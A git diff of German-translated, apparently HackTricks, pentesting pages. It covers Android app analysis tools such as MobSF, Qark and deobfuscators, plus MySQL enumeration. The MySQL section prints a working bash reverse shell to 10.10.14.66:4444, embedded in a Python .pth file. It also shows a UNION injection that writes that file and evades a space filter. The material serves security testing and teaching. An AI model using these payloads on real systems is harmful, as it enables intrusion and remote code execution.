mehreren Fällen wird beim Beenden der Session der Cookie nicht widerrufen oder sogar auf der Festplatte gespeichert. +- **SQL Injection:** Beim Umgang mit dynamischen Abfragen oder Content-Providers stellen Sie sicher, dass parametrisierte Abfragen verwendet werden. +- **JavaScript Injection (XSS):** Vergewissern Sie sich, dass JavaScript- und Plugin-Unterstützung für alle WebViews deaktiviert ist (standardmäßig deaktiviert). [Mehr Infos hier](webview-attacks.md#javascript-enabled). +- **Local File Inclusion:** WebViews sollten keinen Zugriff auf das Dateisystem haben (standardmäßig aktiviert) - `(webview.getSettings().setAllowFileAccess(false);)`. [Mehr Infos hier](webview-attacks.md#javascript-enabled). +- **Eternal cookies**: In mehreren Fällen wird beim Beenden der Android-Anwendung die Session-Cookie nicht widerrufen oder das Cookie kann sogar auf der Festplatte gespeichert werden - [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) --- -## Automatic Analysis +## Automatische Analyse ### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) -**Static analysis** +**Statische Analyse** ![](<../../images/image (866).png>) -**Vulnerability assessment of the application** mithilfe eines ansprechenden webbasierten Frontends. Sie können auch dynamic analysis durchführen (dazu muss die Umgebung vorbereitet werden). +**Vulnerability assessment der Anwendung** mittels eines ansprechenden web-basierten Frontends. Sie können auch dynamic analysis durchführen (aber Sie müssen die Umgebung vorbereiten). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest ``` -Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ -Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (go to the root folder of the application, select everything and create a ZIPfile), it will be able to analyse it also. +Beachte, dass MobSF **Android**(apk)**, IOS**(ipa) **und Windows**(apx) Anwendungen analysieren kann (_Windows applications must be analyzed from a MobSF installed in a Windows host_).\ +Außerdem, wenn du eine **ZIP** Datei mit dem Source-Code einer **Android** oder **IOS** App erstellst (gehe in den Root-Ordner der Anwendung, wähle alles aus und erstelle eine ZIPfile), kann es diese ebenfalls analysieren. -MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file. +MobSF erlaubt dir auch, **diff/Compare** Analysen durchzuführen und **VirusTotal** zu integrieren (du musst deinen API Key in _MobSF/settings.py_ setzen und es aktivieren: `VT_ENABLED = TRUE` `VT_API_KEY = ` `VT_UPLOAD = TRUE`). Du kannst `VT_UPLOAD` auch auf `False` setzen, dann wird der **hash** statt der Datei **upload**. -### Assisted Dynamic analysis with MobSF +### Unterstützte Dynamic analysis mit MobSF -**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\ -The **MobSF dynamic analyser** can: +**MobSF** kann auch bei der **dynamic analysis** von **Android** sehr hilfreich sein, in diesem Fall musst du jedoch MobSF und **genymotion** auf deinem Host installieren (eine VM oder Docker funktioniert nicht). _Hinweis: Du musst **zuerst eine VM in genymotion starten** und **dann MobSF.**_\ +Der **MobSF dynamic analyser** kann: -- **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities. -- Capture **HTTPS traffic** -- Use **Frida** to obtain **runtime** **information** +- **Dump Anwendungsdaten** (URLs, logs, clipboard, screenshots, die du gemacht hast, screenshots die vom "**Exported Activity Tester**" gemacht wurden, emails, SQLite Datenbanken, XML Dateien und andere erstellte Dateien). All dies geschieht automatisch außer bei den Screenshots — diese musst du manuell auslösen, oder du musst "**Exported Activity Tester**" drücken, um Screenshots aller exportierten Activities zu erhalten. +- **Capture HTTPS traffic** +- **Use Frida** um **Laufzeitinformationen** zu erhalten -From android **versions > 5**, it will **automatically start Frida** and will set global **proxy** settings to **capture** traffic. It will only capture traffic from the tested application. +Ab android **versions > 5** wird es **automatisch Frida starten** und globale **proxy** Einstellungen setzen, um den Traffic zu **capture**. Es wird nur den Traffic der getesteten Anwendung erfassen. **Frida** -By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\ -MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report. +Standardmäßig verwendet es auch einige Frida Scripts, um **SSL pinning** zu **bypassen**, **root detection** und **debugger detection** zu umgehen und um interessante **APIs** zu **monitoren**.\ +MobSF kann auch **invoke exported activities**, **Screenshots** davon machen und sie für den Report **save**. -To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\ -MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**"). +Um das dynamic testing zu **starten** drücke den grünen Button: "**Start Instrumentation**". Drücke "**Frida Live Logs**" um die von den Frida scripts erzeugten Logs zu sehen und "**Live API Monitor**" um alle Aufrufe der gehookten Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies erscheint nach dem Drücken von "Start Instrumentation").\ +MobSF erlaubt dir außerdem, eigene **Frida scripts** zu laden (um die Ergebnisse deiner Frida scripts an MobSF zu senden benutze die Funktion `send()`). Es gibt auch **mehrere vorgeschriebene scripts**, die du laden kannst (du kannst weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), einfach **auswählen**, "**Load**" drücken und "**Start Instrumentation**" drücken (die Logs dieser scripts wirst du im "**Frida Live Logs**" sehen). ![](<../../images/image (419).png>) -Moreover, you have some Auxiliary Frida functionalities: +Außerdem hast du einige zusätzliche Frida-Funktionalitäten: -- **Enumerate Loaded Classes**: It will print all the loaded classes -- **Capture Strings**: It will print all the capture strings while using the application (super noisy) -- **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False. -- **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class. -- **Search Class Pattern**: Search classes by pattern -- **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods. +- **Enumerate Loaded Classes**: Es gibt alle geladenen Klassen aus +- **Capture Strings**: Gibt alle erfassten Strings während der Nutzung der Anwendung aus (sehr viele Ausgaben) +- **Capture String Comparisons**: Kann sehr nützlich sein. Es zeigt die 2 verglichenen Strings und ob das Ergebnis True oder False war. +- **Enumerate Class Methods**: Gib den Klassennamen ein (z.B. "java.io.File") und es listet alle Methoden der Klasse auf. +- **Search Class Pattern**: Sucht Klassen nach einem Pattern +- **Trace Class Methods**: **Trace** eine **ganze Klasse** (siehe Eingaben und Ausgaben aller Methoden der Klasse). Denk daran, dass MobSF standardmäßig mehrere interessante Android Api Methoden trace't. -Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**". +Sobald du das Hilfsmodul ausgewählt hast, das du verwenden möchtest, musst du "**Start Intrumentation**" drücken und du wirst alle Ausgaben in "**Frida Live Logs**" sehen. **Shell** -Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands: +Mobsf bietet dir außerdem eine Shell mit einigen **adb** Befehlen, **MobSF** Befehlen und gängigen **shell** **commands** am unteren Rand der dynamic analysis Seite. Einige interessante Befehle: ```bash help shell ls @@ -652,13 +653,13 @@ receivers ``` **HTTP-Tools** -Wenn HTTP-Traffic erfasst wird, kannst du eine grobe Ansicht des erfassten Traffics unten bei "**HTTP(S) Traffic**" sehen oder eine schönere Ansicht über den grünen Button "**Start HTTPTools**". Über die zweite Option kannst du die **captured requests** an **proxies** wie Burp oder Owasp ZAP senden.\ -Um das zu tun, _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> auf "**Send to Fuzzer**" drücken --> _die Proxy-Adresse auswählen_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). +Wenn HTTP-Traffic erfasst wird, kannst du eine rohe Ansicht des aufgezeichneten Traffics über den "**HTTP(S) Traffic**"-Button sehen oder eine schönere Ansicht über den grünen "**Start HTTPTools**"-Button. Über die zweite Option kannst du die **aufgezeichneten Requests** an **Proxies** wie Burp oder Owasp ZAP **senden**.\ +Um das zu tun: _Burp einschalten -->_ _Intercept ausschalten --> in MobSB HTTPTools die Anfrage auswählen_ --> auf "**Send to Fuzzer**" drücken --> _die Proxy-Adresse auswählen_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Sobald du die dynamische Analyse mit MobSF beendet hast, kannst du auf "**Start Web API Fuzzer**" drücken, um **fuzz http requests** und nach Schwachstellen zu suchen. +Sobald du die dynamische Analyse mit MobSF abgeschlossen hast, kannst du auf "**Start Web API Fuzzer**" drücken, um **http requests zu fuzz-en** und nach Schwachstellen zu suchen. > [!TIP] -> Nach einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen fehlkonfiguriert sein und sich nicht über die GUI beheben lassen. Du kannst die Proxy-Einstellungen wie folgt zurücksetzen: +> Nach einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein und du kannst sie nicht über die GUI reparieren. Du kannst die Proxy-Einstellungen folgendermaßen zurücksetzen: > > ``` > adb shell settings put global http_proxy :0 @@ -667,17 +668,17 @@ Sobald du die dynamische Analyse mit MobSF beendet hast, kannst du auf "**Start ### Assisted Dynamic Analysis with Inspeckage Du kannst das Tool von [**Inspeckage**](https://github.com/ac-pm/Inspeckage) beziehen.\ -Dieses Tool verwendet einige **Hooks**, um dir während einer **dynamic analysis** mitzuteilen, **was in der Anwendung passiert**. +Dieses Tool verwendet einige **Hooks**, um dir während einer **dynamic analysis** zu zeigen, **was in der Anwendung passiert**, während du sie ausführst. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Dies ist ein **ausgezeichnetes Tool, um statische Analyse mit einer GUI durchzuführen** +Dies ist ein **tolles Tool, um statische Analyse mit einer GUI durchzuführen** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Dieses Tool ist dafür ausgelegt, nach verschiedenen **security related Android application vulnerabilities** zu suchen, sowohl im **source code** als auch in **packaged APKs**. Das Tool ist außerdem in der Lage, ein deploybares "**Proof-of-Concept**" APK und **ADB commands** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exposed activities, intents, tapjacking...). Wie bei Drozer ist es nicht notwendig, das Testgerät zu rooten. +Dieses Tool wurde entwickelt, um nach verschiedenen **security related Android application vulnerabilities** zu suchen, sowohl im **source code** als auch in **packaged APKs**. Das Tool ist außerdem **in der Lage, eine \"Proof-of-Concept\" deployable APK** und **ADB commands** zu erstellen, um einige der gefundenen Schwachstellen auszunutzen (Exposed activities, intents, tapjacking...). Wie bei Drozer ist es nicht nötig, das Testgerät zu rooten. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -688,20 +689,20 @@ qark --java path/to/specific/java/file.java - Zeigt alle extrahierten Dateien zur einfachen Referenz an - Dekompiliert automatisch APK-Dateien in Java- und Smali-Format -- Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhalten -- Statische Source-Code-Analyse auf häufige Schwachstellen und Verhalten -- Geräteinfo +- Analysiert AndroidManifest.xml auf häufige Schwachstellen und Verhaltensweisen +- Statische Quellcode-Analyse auf häufige Schwachstellen und Verhaltensweisen +- Geräteinformationen - und mehr ```bash reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER ist eine Kommandozeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_ Dateien nach Schwachstellen durchsucht. Sie macht dies, indem sie APKs entpackt und eine Reihe von Regeln anwendet, um diese Schwachstellen zu erkennen. +SUPER ist eine Kommandozeilenanwendung, die unter Windows, MacOS X und Linux genutzt werden kann und _.apk_-Dateien nach Schwachstellen analysiert. Dazu dekomprimiert sie APKs und wendet eine Reihe von Regeln an, um diese Schwachstellen zu erkennen. -Alle Regeln sind in einer `rules.json` Datei zentralisiert, und jedes Unternehmen oder jeder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen. +Alle Regeln sind in einer `rules.json`-Datei zentralisiert, und jedes Unternehmen oder jeder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen. -Lade die neuesten Binärdateien von der [download page](https://superanalyzer.rocks/download.html) herunter +Lade die neuesten Binaries von der [download page](https://superanalyzer.rocks/download.html) herunter. ``` super-analyzer {apk_file} ``` @@ -709,17 +710,17 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn ist ein **plattformübergreifendes** Tool, das Entwicklern, bugbounty hunters und ethical hackers bei der Durchführung von [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) an mobilen Anwendungen hilft. +StaCoAn ist ein **crossplatform** Tool, das Entwickler, bugbounty hunters und ethical hackers bei der Durchführung von [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) an mobilen Anwendungen unterstützt. -Das Konzept ist, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) per Drag & Drop auf die StaCoAn-Anwendung ziehen; sie erzeugt dann einen visuellen und portablen Bericht für Sie. Sie können die Einstellungen und wordlists anpassen, um ein individuelles Erlebnis zu erhalten. +Das Konzept ist, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) per Drag & Drop auf die StaCoAn-Anwendung ziehen; anschließend erstellt sie einen visuellen und portablen Bericht für Sie. Sie können die Einstellungen und wordlists anpassen, um eine maßgeschneiderte Erfahrung zu erhalten. -Download[ latest release](https://github.com/vincentcox/StaCoAn/releases): +Herunterladen[ latest release](https://github.com/vincentcox/StaCoAn/releases): ``` ./stacoan ``` ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) -AndroBugs Framework ist ein Android vulnerability analysis system, das Entwicklern oder hackers hilft, potenzielle security vulnerabilities in Android applications zu finden.\ +AndroBugs Framework ist ein Android vulnerability analysis system, das Entwicklern oder hackers hilft, potenzielle security vulnerabilities in Android-Anwendungen zu finden.\ [Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -727,11 +728,11 @@ androbugs.exe -f [APK file] ``` ### [Androwarn](https://github.com/maaaaz/androwarn) -**Androwarn** ist ein Tool, dessen Hauptziel es ist, den Benutzer vor potenziell bösartigen Verhaltensweisen einer Android-Anwendung zu erkennen und zu warnen. +**Androwarn** ist ein Tool, dessen Hauptziel darin besteht, den Benutzer vor potenziell bösartigen Verhaltensweisen einer Android-Anwendung zu erkennen und zu warnen. -Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mithilfe der Bibliothek [`androguard`](https://github.com/androguard/androguard). +Die Erkennung erfolgt durch **static analysis** des Dalvik bytecode der Anwendung, dargestellt als **Smali**, mithilfe der [`androguard`](https://github.com/androguard/androguard) Bibliothek. -Dieses Tool sucht nach **häufigem Verhalten von "bösen" Anwendungen** wie: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... +Dieses Tool sucht nach **häufigen Verhaltensmustern von "bad" applications** wie: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -739,16 +740,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** ist ein Framework für Reverse-Engineering und Analyse von mobilen Anwendungen. Es ist ein Tool, das gängig verwendete Tools für Reverse-Engineering und Analyse mobiler Anwendungen zusammenführt, um bei Tests von mobilen Anwendungen gegen die OWASP mobile security threats zu unterstützen. Ziel ist es, diese Aufgabe für mobile Anwendungsentwickler und Sicherheitsexperten einfacher und benutzerfreundlicher zu machen. +**MARA** ist ein **M**obile **A**pplication **R**everse Engineering und **A**nalysis Framework. Es ist ein Tool, das häufig verwendete Mobile Application Reverse Engineering- und Analysis-Tools zusammenführt, um bei der Prüfung von mobilen Anwendungen gegen die OWASP mobile security threats zu unterstützen. Ziel ist es, diese Aufgabe für Mobile-Application-Entwickler und Sicherheitsfachleute einfacher und benutzerfreundlicher zu machen. Es kann: - Java- und Smali-Code mit verschiedenen Tools extrahieren - APKs analysieren mit: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Private Informationen aus dem APK mit Regexps extrahieren. +- Private Informationen aus der APK mit Regexps extrahieren. - Das Manifest analysieren. - Gefundene Domains analysieren mit: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) und [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APKs über [apk-deguard.com](http://www.apk-deguard.com) deobfuskieren +- APK via [apk-deguard.com](http://www.apk-deguard.com) deobfuskieren ### Koodous @@ -756,59 +757,59 @@ Nützlich zur Erkennung von Malware: [https://koodous.com/](https://koodous.com/ ## Obfuscating/Deobfuscating code -Beachte, dass abhängig vom Dienst und der Konfiguration, die du zur Obfuskierung verwendest, Secrets möglicherweise obfuskiert sind oder nicht. +Beachte, dass abhängig vom Service und der Konfiguration, die du zum Obfuskieren des Codes verwendest, Secrets eventuell obfuskiert sind oder nicht. ### [ProGuard]() -From [Wikipedia](): **ProGuard** ist ein Open-Source-Kommandozeilen-Tool, das Java-Code schrumpft, optimiert und obfuskiert. Es kann Bytecode optimieren sowie ungenutzte Instruktionen erkennen und entfernen. ProGuard ist freie Software und wird unter der GNU General Public License, Version 2, verteilt. +From [Wikipedia](): **ProGuard** ist ein Open-Source-Kommandozeilen-Tool, das Java-Code schrumpft, optimiert und obfuskiert. Es kann Bytecode optimieren sowie ungenutzte Instruktionen erkennen und entfernen. ProGuard ist freie Software und wird unter der GNU General Public License, Version 2 vertrieben. -ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der Anwendung im Release-Modus. +ProGuard wird als Teil des Android SDK ausgeliefert und läuft beim Erstellen der Anwendung im Release-Modus. ### [DexGuard](https://www.guardsquare.com/dexguard) -Finde eine Schritt-für-Schritt-Anleitung zum Deobfuskieren der apk unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Eine Schritt-für-Schritt-Anleitung zum Deobfuskieren der APK findest du unter [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Aus diesem Guide) Beim letzten Mal, als wir nachgesehen haben, war der Betriebsmodus von Dexguard: +(Aus diesem Leitfaden) Beim letzten Mal, als wir es überprüft haben, war der DexGuard Betriebsmodus wie folgt: -- eine Ressource als InputStream laden; -- das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln; -- einige nutzlose Obfuskationen durchführen, um ein paar Minuten eines Reversers zu verschwenden; -- das entschlüsselte Ergebnis an einen ZipInputStream geben, um eine DEX-Datei zu erhalten; -- schließlich die resultierende DEX als Resource mit der Methode `loadDex` laden. +- load a resource as an InputStream; +- feed the result to a class inheriting from FilterInputStream to decrypt it; +- do some useless obfuscation to waste a few minutes of time from a reverser; +- feed the decrypted result to a ZipInputStream to get a DEX file; +- finally load the resulting DEX as a Resource using the `loadDex` method. ### [DeGuard](http://apk-deguard.com) -**DeGuard kehrt den von Android-Obfuskationstools durchgeführten Obfuskierungsprozess um. Das ermöglicht zahlreiche Sicherheitsanalysen, einschließlich Code-Inspektion und Erkennung verwendeter Libraries.** +**DeGuard kehrt den von Android-Obfuskationstools durchgeführten Obfuskationsprozess um. Dies ermöglicht zahlreiche Sicherheitsanalysen, einschließlich Code-Inspektion und Erkennung von Bibliotheken.** -Sie können eine obfuskierte APK auf deren Plattform hochladen. +Du kannst eine obfuskierte APK auf ihre Plattform hochladen. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Dies ist ein LLM-Tool, um potenzielle Sicherheitslücken in Android-Apps zu finden und den Code von Android-Apps zu deobfuskieren. Verwendet die öffentliche Google Gemini API. +Dies ist ein LLM-Tool, um mögliche Sicherheitslücken in Android-Apps zu finden und Android-App-Code zu deobfuskieren. Verwendet Google's Gemini public API. ### [Simplify](https://github.com/CalebFenton/simplify) -Es ist ein **generischer Android-Deobfuscator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er sich identisch verhält, aber für Menschen leichter verständlich ist. Jeder Optimierungstyp ist einfach und generisch, daher spielt es keine Rolle, welche spezifische Art der Obfuskation verwendet wurde. +Es ist ein **generischer android deobfuscator.** Simplify **führt eine App praktisch aus**, um ihr Verhalten zu verstehen, und versucht dann, den Code so zu optimieren, dass er sich identisch verhält, aber für einen Menschen leichter zu verstehen ist. Jeder Optimierungstyp ist einfach und generisch, sodass es egal ist, welche konkrete Art der Obfuskation verwendet wurde. ### [APKiD](https://github.com/rednaga/APKiD) -APKiD gibt Informationen darüber, **wie ein APK hergestellt wurde**. Es identifiziert viele **compiler**, **packers**, **obfuscators** und andere seltsame Dinge. Es ist [_PEiD_](https://www.aldeid.com/wiki/PEiD) für Android. +APKiD liefert Informationen darüber, **wie eine APK erstellt wurde**. Es identifiziert viele **Compilers**, **Packers**, **Obfuscators** und andere merkwürdige Dinge. Es ist [_PEiD_](https://www.aldeid.com/wiki/PEiD) für Android. ### Manual -[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md) +[Lesen Sie dieses Tutorial, um einige Tricks zu lernen, **wie man benutzerdefinierte Obfuskation reverse-engineert**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b ist eine Android-Sicherheits-VM basierend auf ubuntu-mate und enthält eine Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Security-Enthusiasten und Forschern für Reverse Engineering und Malware-Analyse. +AndroL4b ist eine Android-Sicherheits-virtuelle Maschine basierend auf ubuntu-mate und enthält eine Sammlung der neuesten Frameworks, Tutorials und Labs von verschiedenen Security-Geeks und Forschern für Reverse Engineering und Malware-Analyse. -## Referenzen +## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) - [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Es ist eine großartige Liste von Ressourcen -- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android Quick Course +- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec) @@ -816,7 +817,7 @@ AndroL4b ist eine Android-Sicherheits-VM basierend auf ubuntu-mate und enthält - [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect) - [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns) -## Noch auszuprobieren +## Yet to try - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md index 159e22e88..7cf15d075 100644 --- a/src/network-services-pentesting/pentesting-mysql.md +++ b/src/network-services-pentesting/pentesting-mysql.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -## **Basic Information** +## **Grundlegende Informationen** -**MySQL** kann als ein Open-Source-**Relational Database Management System (RDBMS)** beschrieben werden, das kostenlos verfügbar ist. Es verwendet die **Structured Query Language (SQL)** und ermöglicht die Verwaltung und Manipulation von Datenbanken. +**MySQL** ist ein Open-Source-Relationales Datenbank-Managementsystem (RDBMS), das kostenfrei verfügbar ist. Es verwendet die **Structured Query Language (SQL)** und ermöglicht die Verwaltung und Manipulation von Datenbanken. **Standardport:** 3306 ``` @@ -17,14 +17,14 @@ mysql -u root # Connect to root without password mysql -u root -p # A password will be asked (check someone) ``` -### Remote +### Fernzugriff ```bash mysql -h -u root mysql -h -u root@localhost ``` -## Externe Enumeration +## External Enumeration -Einige der Enumeration-Aktionen erfordern gültige Anmeldedaten +Einige der enumeration-Aktionen erfordern gültige Anmeldeinformationen ```bash nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 msf> use auxiliary/scanner/mysql/mysql_version @@ -78,7 +78,7 @@ quit; mysql -u username -p < manycommands.sql #A file with all the commands you want to execute mysql -u root -h 127.0.0.1 -e 'show databases;' ``` -### MySQL-Berechtigungsaufzählung +### MySQL Berechtigungsaufzählung ```sql #Mysql SHOW GRANTS [FOR user]; @@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT #@ Functions not from sys. db SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys'; ``` -In der Dokumentation können Sie die Bedeutung jeder Berechtigung sehen: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) +Die Bedeutung jedes Privileges findest du in der Dokumentation: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute) ### MySQL File RCE @@ -112,33 +112,33 @@ In der Dokumentation können Sie die Bedeutung jeder Berechtigung sehen: [https: #### INTO OUTFILE → Python `.pth` RCE (site-spezifische Konfigurations-Hooks) -Durch Ausnutzung des klassischen `INTO OUTFILE`-Primitives ist es möglich, *beliebige Codeausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen. +Durch Missbrauch des klassischen `INTO OUTFILE`-Primitives ist es möglich, *beliebige Code-Ausführung* auf Zielen zu erlangen, die später **Python**-Skripte ausführen. 1. Verwende `INTO OUTFILE`, um eine benutzerdefinierte **`.pth`**-Datei in ein Verzeichnis abzulegen, das automatisch von `site.py` geladen wird (z. B. `.../lib/python3.10/site-packages/`). 2. Die `.pth`-Datei kann eine *einzelne Zeile* enthalten, die mit `import ` beginnt, gefolgt von beliebigem Python-Code, der bei jedem Start des Interpreters ausgeführt wird. -3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird die Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → vollständiges pre-auth RCE). +3. Wenn der Interpreter implizit von einem CGI-Skript ausgeführt wird (zum Beispiel `/cgi-bin/ml-draw.py` mit Shebang `#!/bin/python`), wird das Payload mit denselben Rechten wie der Webserver-Prozess ausgeführt (FortiWeb führte es als **root** aus → full pre-auth RCE). -Example `.pth` payload (single line, no spaces can be included in the final SQL payload, so hex/`UNHEX()` or string concatenation may be required): +Beispiel `.pth`-Payload (eine einzelne Zeile, es dürfen keine Leerzeichen im finalen SQL-Payload enthalten sein, daher kann hex/`UNHEX()` oder String-Konkatenation erforderlich sein): ```python import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True) ``` -Beispiel, wie die Datei durch eine **UNION** query erstellt wird (Leerzeichen durch `/**/` ersetzt, um einen `sscanf("%128s")`-Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 bytes zu halten): +Beispiel für das Erstellen der Datei durch eine **UNION** query (Leerzeichen durch `/**/` ersetzt, um einen `sscanf("%128s")` Leerzeichenfilter zu umgehen und die Gesamtlänge ≤128 Bytes zu halten): ```sql '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth' ``` Wichtige Einschränkungen & Umgehungen: -* `INTO OUTFILE` **kann vorhandene Dateien nicht überschreiben**; wähle einen neuen Dateinamen. -* Der Dateipfad wird **relativ zum CWD von MySQL** aufgelöst, daher hilft das Voranstellen von `../../`, um den Pfad zu verkürzen und absolute Pfad-Einschränkungen zu umgehen. -* Wenn die Angreifer-Eingabe mit `%128s` (oder ähnlich) extrahiert wird, wird jedes Leerzeichen die Nutzlast abschneiden; verwende MySQL-Kommentarsequenzen `/**/` oder `/*!*/`, um Leerzeichen zu ersetzen. -* Der MySQL-Benutzer, der die Abfrage ausführt, benötigt das `FILE`-Privileg, aber in vielen Appliances (z. B. FortiWeb) läuft der Service als **root**, wodurch Schreibzugriff fast überall möglich ist. +* `INTO OUTFILE` **kann bestehende Dateien nicht überschreiben**; wähle einen neuen Dateinamen. 